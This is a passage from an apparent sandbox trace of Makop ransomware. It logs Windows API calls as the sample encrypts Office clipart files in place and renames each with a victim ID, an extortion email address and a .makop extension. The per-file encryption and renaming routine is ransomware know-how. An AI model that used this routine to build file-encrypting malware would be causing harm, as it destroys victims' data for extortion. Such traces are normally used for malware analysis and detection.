dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.479] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.479] GetProcessHeap () returned 0x48a0000 [0121.479] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.479] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.479] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.479] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.479] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.479] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.480] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.480] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.480] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.480] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.480] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.480] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.480] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1338, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1338, lpOverlapped=0x0) returned 1 [0121.482] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1340, dwBufLen=0x1340 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1340) returned 1 [0121.482] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.482] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1340, lpOverlapped=0x0) returned 1 [0121.482] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.482] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.482] SetEndOfFile (hFile=0xf0) returned 1 [0121.489] GetProcessHeap () returned 0x48a0000 [0121.489] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.489] GetProcessHeap () returned 0x48a0000 [0121.489] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.489] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.489] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.490] CloseHandle (hObject=0xf0) returned 1 [0121.491] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x52e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107452.WMF", cAlternateFileName="")) returned 1 [0121.491] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0121.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.493] GetProcessHeap () returned 0x48a0000 [0121.493] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.493] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.493] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.493] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.493] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.493] GetProcessHeap () returned 0x48a0000 [0121.493] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.493] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.493] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.493] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.497] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.497] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.497] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.498] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.498] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.498] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.498] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.498] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.498] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x52e0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x52e0, lpOverlapped=0x0) returned 1 [0121.502] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x52e0, dwBufLen=0x52e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x52e0) returned 1 [0121.503] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.503] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x52e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x52e0, lpOverlapped=0x0) returned 1 [0121.503] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.503] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x53b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.503] SetEndOfFile (hFile=0xf0) returned 1 [0121.511] GetProcessHeap () returned 0x48a0000 [0121.511] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.511] GetProcessHeap () returned 0x48a0000 [0121.511] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.512] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.512] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.513] CloseHandle (hObject=0xf0) returned 1 [0121.513] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107456.WMF", cAlternateFileName="")) returned 1 [0121.513] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0121.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.514] GetProcessHeap () returned 0x48a0000 [0121.514] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.514] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.514] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.514] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.518] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.518] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.519] GetProcessHeap () returned 0x48a0000 [0121.519] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.519] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.519] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.519] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.519] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.519] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.519] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.519] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.520] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.520] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.520] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.520] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.520] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe8c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe8c, lpOverlapped=0x0) returned 1 [0121.520] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe90, dwBufLen=0xe90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe90) returned 1 [0121.520] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.521] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe90, lpOverlapped=0x0) returned 1 [0121.522] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.522] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.522] SetEndOfFile (hFile=0xf0) returned 1 [0121.528] GetProcessHeap () returned 0x48a0000 [0121.528] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.528] GetProcessHeap () returned 0x48a0000 [0121.528] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.528] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.529] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.530] CloseHandle (hObject=0xf0) returned 1 [0121.530] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107458.WMF", cAlternateFileName="")) returned 1 [0121.530] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0121.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.531] GetProcessHeap () returned 0x48a0000 [0121.532] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.532] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.532] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.532] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.532] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.532] GetProcessHeap () returned 0x48a0000 [0121.532] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.532] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.532] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.532] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.537] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.538] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.538] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.538] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.538] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.538] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.538] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.539] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.539] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xdf0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xdf0, lpOverlapped=0x0) returned 1 [0121.539] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdf0, dwBufLen=0xdf0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdf0) returned 1 [0121.539] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.539] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xdf0, lpOverlapped=0x0) returned 1 [0121.539] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.539] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.539] SetEndOfFile (hFile=0xf0) returned 1 [0121.546] GetProcessHeap () returned 0x48a0000 [0121.546] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.546] GetProcessHeap () returned 0x48a0000 [0121.546] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.546] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.546] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.547] CloseHandle (hObject=0xf0) returned 1 [0121.548] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107468.WMF", cAlternateFileName="")) returned 1 [0121.548] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0121.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.548] GetProcessHeap () returned 0x48a0000 [0121.548] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.549] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.549] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.549] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, 